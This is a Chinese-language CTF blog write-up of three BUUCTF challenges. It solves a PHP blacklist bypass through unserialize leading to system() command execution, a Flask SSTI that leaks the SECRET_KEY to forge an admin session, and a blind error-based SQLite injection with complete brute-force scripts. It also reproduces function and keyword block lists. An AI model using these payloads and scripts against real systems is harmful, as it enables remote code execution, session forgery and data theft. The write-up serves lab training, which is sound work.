buuctf
buu刷题记录
[HarekazeCTF2019]Sqlite Voting
昨天请学弟们吃了顿饭,roar一直在摸(一直没出),刷两道buu水一下博客吧。好久没写博客了
打开界面是带带大师兄,每隔一段时间会自动刷新一次,并显示出最新的时间。抓包后发现是post了两个参数的值:func和p,【一个体重九十多公斤(不是)】应该是调用了call_user_func函数,尝试去执行一些系统命令,发现会回显hacker所以应该是被过滤了。但是我们可以用func=file_get_contents&p=index.php去读取index.php的内容如下:
1 <?php 2 $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); 3 function gettime($func, $p) { 4 $result = call_user_func($func, $p); 5 $a= gettype($result); 6 if ($a == "string") { 7 return $result; 8 } else {return "";} 9 } 10 class Test { 11 var $p = "Y-m-d h:i:s a"; 12 var $func = "date"; 13 function __destruct() { 14 if ($this->func != "") { 15 echo gettime($this->func, $this->p); 16 } 17 } 18 } 19 $func = $_REQUEST["func"]; 20 $p = $_REQUEST["p"]; 21 22 if ($func != null) { 23 $func = strtolower($func); 24 if (!in_array($func,$disable_fun)) { 25 echo gettime($func, $p); 26 }else { 27 die("Hacker..."); 28 } 29 }
可以看到出题人使用黑名单过滤了一大堆危险函数,感觉已经是无路可走了。。。实际上可以使用构造反序列化的手段,使func=unserialize&p=payload,下面贴出生成payload的exp:
1 <?php 2 3 $disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents"); 4 function gettime($func, $p) 5 { 6 $result = call_user_func($func, $p); 7 $a = gettype($result); 8 if ($a == "string") { 9 return $result; 10 } else { 11 return ""; 12 } 13 } 14 15 class Test 16 { 17 var $p = "Y-m-d h:i:s a"; 18 var $func = "date"; 19 20 function __destruct() 21 { 22 if ($this->func != "") { 23 echo gettime($this->func, $this->p); 24 } 25 } 26 } 27 28 /*$func = $_REQUEST["func"]; 29 $p = $_REQUEST["p"]; 30 31 if ($func != null) { 32 $func = strtolower($func); 33 if (!in_array($func, $disable_fun)) { 34 echo gettime($func, $p); 35 } else { 36 die("Hacker..."); 37 } 38 }*/ 39 $a = new Test(); 40 /*$a ->p = 'ls';*/ 41 /*$a -> p = 'ls /';*/ 42 $a->p ="find / -name 'flag*'"; 43 $a ->func = 'system'; 44 print_r(urlencode(serialize($a))); 45 46 47 ?>
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
flag{89e676b6-cf76-4184-9f0d-12f5b9682804}
gg
一番探查看出来存在ssti,post传值的过程中:
event_name=2333&event_address=123&event_important=__class__(或者用__dict__)存在回显,于是我们能确定存在ssti
event_name=2333&event_address=123&event_important=__class__.__init__.__globals__
event_important处存在ssti,于是我们查看配置信息:(此题模板是flask)
event_name=2333&event_address=123&event_important=__class__.__init__.__globals__[app].config
得到重要信息:’SECRET_KEY’: ‘fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y’
拿到secretkey之后进行伪造,将用户名改成admin就行了、flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
贴脚本:
1 from flask import Flask 2 from flask.sessions import SecureCookieSessionInterface 3 4 app = Flask(__name__) 5 app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' 6 7 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) 8 9 @app.route('/') 10 def index(): 11 print(session_serializer.dumps("admin")) 12 13 index()
flag{63a5dfbd-241a-4a52-bbbe-7fc46c058dae}
[HarekazeCTF2019]Sqlite Voting
这个题的出题人有点可怕。。。。
打开是一个选择你喜欢的小动物的界面:
下面有两个链接,第一个给出的源码如下:
1 <?php 2 error_reporting(0); 3 4 if (isset($_GET['source'])) { 5 show_source(__FILE__); 6 exit(); 7 } 8 9 function is_valid($str) { 10 $banword = [ 11 // dangerous chars 12 // " % ' * + / < = > \ _ ` ~ - 13 "[\"%'*+\\/<=>\\\\_`~-]", 14 // whitespace chars 15 '\s', 16 // dangerous functions 17 'blob', 'load_extension', 'char', 'unicode', 18 '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 19 'in', 'limit', 'order', 'union', 'join' 20 ]; 21 $regexp = '/' . implode('|', $banword) . '/i'; 22 if (preg_match($regexp, $str)) { 23 return false; 24 } 25 return true; 26 } 27 28 header("Content-Type: text/json; charset=utf-8"); 29 30 // check user input 31 if (!isset($_POST['id']) || empty($_POST['id'])) { 32 die(json_encode(['error' => 'You must specify vote id'])); 33 } 34 $id = $_POST['id']; 35 if (!is_valid($id)) { 36 die(json_encode(['error' => 'Vote id contains dangerous chars'])); 37 } 38 39 // update database 40 $pdo = new PDO('sqlite:../db/vote.db'); 41 $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); 42 if ($res === false) { 43 die(json_encode(['error' => 'An error occurred while updating database'])); 44 } 45 46 // succeeded! 47 echo json_encode([ 48 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' 49 ]);
另一个链接提供了sql代码:
1 DROP TABLE IF EXISTS `vote`; 2 CREATE TABLE `vote` ( 3 `id` INTEGER PRIMARY KEY AUTOINCREMENT, 4 `name` TEXT NOT NULL, 5 `count` INTEGER 6 ); 7 INSERT INTO `vote` (`name`, `count`) VALUES 8 ('dog', 0), 9 ('cat', 0), 10 ('zebra', 0), 11 ('koala', 0); 12 13 DROP TABLE IF EXISTS `flag`; 14 CREATE TABLE `flag` ( 15 `flag` TEXT NOT NULL 16 ); 17 INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
在vote.php界面中我们可以上传id参数,从题目我们可以看出后台的数据库是sqlite,可以尝试进行sqli注入。sqlite与一般注入没什么不同的地方,只要用到隐藏表格就行。
但是我们在vote.php界面看到的代码里面有黑名单,过滤了” % ‘ * + / < = > \ _ ` ~ –这些字符(不得不说老外的题目还写在注释里真的很贴心了)以及’blob’, ‘load_extension’, ‘char’, ‘unicode’, 18 ‘(in|sub)str’, ‘[lr]trim’, ‘like’, ‘glob’, ‘match’, ‘regexp’, 19 ‘in’, ‘limit’, ‘order’, ‘union’, ‘join’ 这些危险字符
根据回显我们应该可以进行bool盲注,但是 ‘, “, char被过滤了之后我们无法直接进行字符判断或者ascii🐎判断。这个时候我已经裂开了
看了作者给的exp,整个人都裂开了,刷新了我的三观。
首先我们进行报错语句的构造:在sqlite中,abs(-9223372036854775808)会造成溢出并且报错,这里我们用hex去读取库里面的字段。
先考虑对 flag 16 进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方
(&是按位与运算符:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0;|按位或运算符:只要对应的二个二进位有一个为1时,结果位就为1。)
判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
因为空格被过滤了,所以我们用括号给括起来绕过空格。case()when()then()else()进行判断。如果前面判断为真则出现系统的错误,如果为假则触发else,出现abs溢出的报错。
正经exp:
import requests url = "//1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php" l = 0 for n in range(16): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)' data = { 'id' : payload } r = requests.post(url=url, data=data) print(r.text) if 'occurred' in r.text: l = l|1<<n print(l)
我们获得了flag字符串16进制的长度为84,接下来要开始获取内容
但是想使用hex我们还需要构造ABCDE这五个字符,因为在数据库中有之前给的一些小动物名的英文,利用如下语句分别构造出 ABCDEF
,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0)
来表示空字符
# hex(b'zebra') = 7A65627261 # 除去 12567 就是 A ,其余同理 A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # hex(b'koala') = 6B6F616C61 # 除去 16CF 就是 B B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
(我已经给出题人的思想跪了),然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b’flag{‘)==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod再利用 replace(length(replace(flag,payload,”))),84,”) 这个语句进行判断。如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错;如果 flag 包含 payload ,那么 replace(flag, payload, ”) 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错以上就可以根据报错爆破出 flag,最后附上出题人脚本。
1 # coding: utf-8 2 import binascii 3 import requests 4 URL = '//1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php' 5 6 7 l = 0 8 i = 0 9 for j in range(16): 10 r = requests.post(URL, data={ 11 'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)' 12 }) 13 if b'An error occurred' in r.content: 14 l |= 1 << j 15 print('[+] length:', l) 16 17 18 table = {} 19 table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' 20 table['C'] = 'trim(hex(typeof(.1)),12567)' 21 table['D'] = 'trim(hex(0xffffffffffffffff),123)' 22 table['E'] = 'trim(hex(0.1),1230)' 23 table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' 24 table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' 25 26 27 res = binascii.hexlify(b'flag{').decode().upper() 28 for i in range(len(res), l): 29 for x in '0123456789ABCDEF': 30 t = '||'.join(c if c in '0123456789' else table[c] for c in res + x) 31 r = requests.post(URL, data={ 32 'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' 33 }) 34 if b'An error occurred' in r.content: 35 res += x 36 break 37 print(f'[+] flag ({i}/{l}): {res}') 38 i += 1 39 print('[+] flag:', binascii.unhexlify(res).decode())
flag{05812dea-073b-4e98-b6eb-6e9dee3ae432}